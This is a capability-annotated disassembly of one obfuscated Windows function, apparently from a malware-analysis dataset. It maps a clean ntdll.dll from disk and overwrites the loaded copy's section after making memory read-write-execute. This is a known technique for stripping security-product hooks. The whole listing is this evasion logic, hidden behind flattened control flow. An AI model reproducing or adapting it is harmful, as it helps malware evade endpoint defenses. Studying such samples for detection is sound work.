Function at 0x40e150
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x64
mov eax, dword [0x480080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x64], 0x7374ba39
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x68], eax
sub eax, 0xad02cdde
je 0x40e832
jmp 0x40e17f
mov eax, dword [ebp - 0x68]
sub eax, 0xaf993cb8
je 0x40e777
jmp 0x40e192
mov eax, dword [ebp - 0x68]
sub eax, 0xba02a5e5
je 0x40e6bb
jmp 0x40e1a5
mov eax, dword [ebp - 0x68]
sub eax, 0xbb874d6e
je 0x40e560
jmp 0x40e1b8
mov eax, dword [ebp - 0x68]
sub eax, 0xc447882e
je 0x40e393
jmp 0x40e1cb
mov eax, dword [ebp - 0x68]
sub eax, 0xc884eebc
je 0x40ea7d
jmp 0x40e1de
mov eax, dword [ebp - 0x68]
sub eax, 0xd326b4ef
je 0x40ea6c
jmp 0x40e1f1
mov eax, dword [ebp - 0x68]
sub eax, 0xd7e16240
je 0x40e630
jmp 0x40e204
mov eax, dword [ebp - 0x68]
sub eax, 0xe6b0c7ff
je 0x40e971
jmp 0x40e217
mov eax, dword [ebp - 0x68]
sub eax, 0xd0a6195
je 0x40e5ae
jmp 0x40e22a
mov eax, dword [ebp - 0x68]
sub eax, 0xe4f94c7
je 0x40eac9
jmp 0x40e23d
mov eax, dword [ebp - 0x68]
sub eax, 0x1ed651f4
je 0x40e651
jmp 0x40e250
mov eax, dword [ebp - 0x68]
sub eax, 0x1f401395
je 0x40e8c1
jmp 0x40e263
mov eax, dword [ebp - 0x68]
sub eax, 0x22a75702
je 0x40ea01
jmp 0x40e276
mov eax, dword [ebp - 0x68]
sub eax, 0x22b4df5b
je 0x40e867
jmp 0x40e289
mov eax, dword [ebp - 0x68]
sub eax, 0x29b3084f
je 0x40e540
jmp 0x40e29c
mov eax, dword [ebp - 0x68]
sub eax, 0x3016c1a0
je 0x40e715
jmp 0x40e2af
mov eax, dword [ebp - 0x68]
sub eax, 0x309f623c
je 0x40e873
jmp 0x40e2c2
mov eax, dword [ebp - 0x68]
sub eax, 0x351fc286
je 0x40e6f8
jmp 0x40e2d5
mov eax, dword [ebp - 0x68]
sub eax, 0x3a8f1e25
je 0x40e98e
jmp 0x40e2e8
mov eax, dword [ebp - 0x68]
sub eax, 0x46760f54
je 0x40e965
jmp 0x40e2fb
mov eax, dword [ebp - 0x68]
sub eax, 0x539378b4
je 0x40e624
jmp 0x40e30e
mov eax, dword [ebp - 0x68]
sub eax, 0x5d69870c
je 0x40e826
jmp 0x40e321
mov eax, dword [ebp - 0x68]
sub eax, 0x5fbfcf8a
je 0x40ea8c
jmp 0x40e334
mov eax, dword [ebp - 0x68]
sub eax, 0x610863ad
je 0x40e680
jmp 0x40e347
mov eax, dword [ebp - 0x68]
sub eax, 0x7374ba39
je 0x40e372
jmp 0x40e35a
mov eax, dword [ebp - 0x68]
sub eax, 0x756c1e18
je 0x40e851
jmp 0x40e36d
jmp 0x40ead0
push eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x64], 0xc447882e
jmp 0x40ead0
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041e200
add esp, 0xc
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], edx
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
sub ecx, 0x1c3db5df
add ecx, eax
add ecx, 0x1c3db5df
mov eax, dword [ebp - 0x44]
mov dword [eax], ecx
mov eax, dword [ebp - 0x40]
mov word [eax], 0
mov dword [ebp - 0x64], 0x29b3084f
jmp 0x40ead0
mov eax, dword [ebp - 0x40]
movzx eax, word [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x64], 0xbb874d6e
jmp 0x40ead0
mov eax, dword [0x48154c]
mov ecx, dword [0x481548]
mov edx, eax
add edx, 0xae3c5bf6
sub edx, 1
sub edx, 0xae3c5bf6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc884eebc
mov ecx, 0xd0a6195
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40ead0
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 2]
mov word [ebp - 0x26], ax
mov ecx, dword [0x48154c]
mov eax, dword [0x481548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc884eebc
mov ecx, 0x539378b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40ead0
mov dword [ebp - 0x64], 0xd7e16240
jmp 0x40ead0
mov ax, word [ebp - 0x26]
movzx esi, ax
mov edx, dword [ebp - 0x30]
mov eax, 0x309f623c
mov ecx, 0x1ed651f4
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40ead0
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
add eax, 0xae2fc2b5
add eax, 0x18
sub eax, 0xae2fc2b5
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
add eax, 4
add eax, 0x10
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x64], 0x610863ad
jmp 0x40ead0
mov eax, dword [ebp - 0x20]
movzx edx, word [eax]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x40]
movzx ecx, word [ecx]
imul ecx, ecx, 0x28
add eax, 0xb983e714
add eax, ecx
sub eax, 0xb983e714
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x64], 0xba02a5e5
jmp 0x40ead0
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cd45
call fcn.00421b00
add esp, 8
mov edx, eax
mov eax, 0x351fc286
mov ecx, 0x5d69870c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40ead0
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x64], 0x3016c1a0
jmp 0x40ead0
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 0x54]
mov edx, dword [eax]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add edx, 0x251828f8
add edx, eax
sub edx, 0x251828f8
mov eax, dword [ebp - 0x38]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x34]
mov byte [eax], cl
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x64], 0xaf993cb8
jmp 0x40ead0
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub edx, 0x32b70cb
add edx, eax
add edx, 0x32b70cb
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub ecx, 0xf49a6d8
add ecx, eax
add ecx, 0xf49a6d8
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041e360
add esp, 0xc
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x54]
mov esi, dword [eax]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub esi, 0x14b978b2
add esi, eax
add esi, 0x14b978b2
mov eax, dword [ebp - 0x38]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x34]
mov byte [eax], cl
mov dword [ebp - 0x64], 0x5d69870c
jmp 0x40ead0
mov dword [ebp - 0x64], 0xad02cdde
jmp 0x40ead0
mov eax, dword [ebp - 0x40]
mov ax, word [eax]
xor ecx, ecx
sub cx, 1
sub ax, cx
mov word [ebp - 0xe], ax
mov dword [ebp - 0x64], 0x756c1e18
jmp 0x40ead0
mov eax, dword [ebp - 0x40]
mov cx, word [ebp - 0xe]
mov word [eax], cx
mov dword [ebp - 0x64], 0x22b4df5b
jmp 0x40ead0
mov dword [ebp - 0x64], 0x29b3084f
jmp 0x40ead0
mov eax, dword [0x48154c]
mov ecx, dword [0x481548]
mov edx, eax
add edx, 0xad48dc48
sub edx, 1
sub edx, 0xad48dc48
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5fbfcf8a
mov ecx, 0x1f401395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40ead0
mov eax, dword [ebp - 0x60]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x48154c]
mov eax, dword [0x481548]
mov edx, ecx
sub edx, 0x31eebbf2
sub edx, 1
add edx, 0x31eebbf2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5fbfcf8a
mov ecx, 0x46760f54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40ead0
mov dword [ebp - 0x64], 0xe6b0c7ff
jmp 0x40ead0
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x64], 0x3a8f1e25
jmp 0x40ead0
mov ecx, dword [0x48154c]
mov eax, dword [0x481548]
mov edx, ecx
add edx, 0xf0e2a91d
sub edx, 1
sub edx, 0xf0e2a91d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe4f94c7
mov ecx, 0x22a75702
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40ead0
mov ecx, dword [0x48154c]
mov eax, dword [0x481548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe4f94c7
mov ecx, 0xd326b4ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40ead0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041d4f0
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x64], 0xd0a6195
jmp 0x40ead0
mov eax, dword [ebp - 0x60]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x64], 0x1f401395
jmp 0x40ead0
mov dword [ebp - 0x64], 0x22a75702
jmp 0x40e169